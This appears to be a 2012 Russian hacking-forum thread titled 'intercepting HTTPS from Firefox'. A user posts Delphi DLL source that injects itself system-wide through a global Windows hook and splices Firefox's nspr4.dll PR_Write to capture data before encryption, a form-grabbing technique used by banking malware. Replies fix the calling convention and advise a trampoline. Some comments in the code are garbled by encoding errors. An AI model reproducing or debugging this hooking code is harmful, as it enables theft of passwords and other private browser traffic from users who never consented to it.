перехват https из файрфокс

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by realcoder, 13 Feb 2012.

  1. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    вот написал перехватчик pr_write из nspr4.dll, но почему-то когда ставлю его - фокс вылетает:
    PHP:
    library AdvBox_32;


    uses
      Windows
    ,
      
    wininet;

    type
     OldCode 
    packed record
      One
    dword;
      
    twoword;
     
    end;


    far_jmp packed record
      PuhsOp
    byte;
      
    PushArgpointer;
      
    RetOpbyte;
     
    end;

     
    prw= function ( fp:pointer ;var buf;amount:integer):integer;

    var
    JmpMbafar_jmp;
     
    OldMbaOldCode;
     
    MbaAdrpointer;


    function 
    newic(fd:pointer;var bufamount:integer):integer;
    var
     
    Writtendword;
    func:prw;
    begin
    //ïèøåì îðèãèíàëüíûé êîä
    WriteProcessMemory(INVALID_HANDLE_VALUEMbaAdr,@OldMbaSizeOf(OldCode), Written);
    @
    func:=pointer(mbaadr);
    result:=func(fd,buf,amount);
    WriteProcessMemory(INVALID_HANDLE_VALUEMbaAdr,@JmpMbaSizeOf(far_jmp), Written);
    end;




    Procedure SetHook();
    var
     
    hnsprdword;
     
    Bytesdword;
    begin
      hnspr 
    := GetModuleHandle('nspr4.dll');
      
    MbaAdr  := GetProcAddress(hnspr'PR_Write'); //ïîëó÷àåì àäðåñ ôóíêöèè êîòîðóþ ïåðåõâàòûâàåì
      
    ReadProcessMemory(INVALID_HANDLE_VALUEMbaAdr, @OldMbaSizeOf(OldCode), Bytes);//÷èòàåì ïåðâûå øåñòü áàéò(÷òîá ïîäñòàâèòü ïðè âûçîâå îðèãèíàëüíî ôóíêöèè)
      
    JmpMba.PuhsOp  := $68;//jmp
      
    JmpMba.PushArg := @newic;//àäðåñ ïîäñòàâíîé ôóíêöèè
      
    JmpMba.RetOp   := $C3;//ret
      
    WriteProcessMemory(INVALID_HANDLE_VALUEMbaAdr, @JmpMbaSizeOf(far_jmp), Bytes);//çàìåíÿåì ïåðâûå øåñòü áàéò íà êîä, ïåðåäàþùèìé óïðàâëåíèå íàøåé ôóíêöèè
    end;

    Procedure Unhook();
    var
     
    Bytesdword;
    begin
      WriteProcessMemory
    (INVALID_HANDLE_VALUEMbaAdr, @OldMbaSizeOf(OldCode), Bytes);
    end;


    // çàëåïà
    Function MessageProc(code integerwParam word;
                        
    lParam longint) : longintstdcall;
    begin
     CallNextHookEx
    (0CodewParamlparam);
     
    Result := 0;
    end;

    Procedure SetGlobalHookProc();
    begin
     SetWindowsHookEx
    (WH_GETMESSAGE, @MessageProcHInstance0);
     
    Sleep(INFINITE);
    end;
    //

    Procedure SetGlobalHook();
    var
     
    hMutexdword;
     
    TrIddword;
    begin
     hMutex 
    := CreateMutex(nilfalse'AdvareHook');
     if 
    GetLastError 0 then
     CreateThread
    (nil0, @SetGlobalHookProcnil0TrId) else
     
    CloseHandle(hMutex);
    end;


    procedure DLLEntryPoint(dwReasonDWord);
    begin
      
    case dwReason of
        DLL_PROCESS_ATTACH
    begin
                              SetGlobalHook
    ();
                              
    Randomize();
                              
    SetHook()
                            
    end;
        
    DLL_PROCESS_DETACHUnHook();
      
    end;
    end;


    begin
     DllProc 
    := @DLLEntryPoint;
     
    DLLEntryPoint(DLL_PROCESS_ATTACH);
     
    end.
    вроде прототип какой надо. в си такой:
    __int32 __cdecl hookerPrWrite(void *fd, const void *buf, __int32 amount);

    в отчете о крахе фокса ничего полезного не нашел...
     
  2. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    прототип как только не менял: и const вместо var подставлял и pointer, а типы и Integer ставил и dword - один хер.
    видел как это делается на сишке, но никак не могу интерпретировать на дельфу....
     
  3. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Перехватывай функции методом сплайсинга (найти информацию можно в поисковике).
     
  4. Faost

    Faost New Member

    Joined:
    11 Jul 2009
    Messages:
    18
    Likes Received:
    3
    Reputations:
    0
    Chrome~, это он и есть.
    realcoder, ну так cdecl же, сами сказали.


    здесь:
    Code:
    function newic(fd:pointer;var buf; amount:integer):integer; cdecl
    и здесь:
    Code:
    prw= function ( fp:pointer ;var buf;amount:integer):integer; cdecl

    а вообще
    простите, может фраза не к месту, уж очень нравится Клерк :)




    По коду совет: делайте трамплин. В таком виде не годно :)
     
  5. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Именно это я имел ввиду.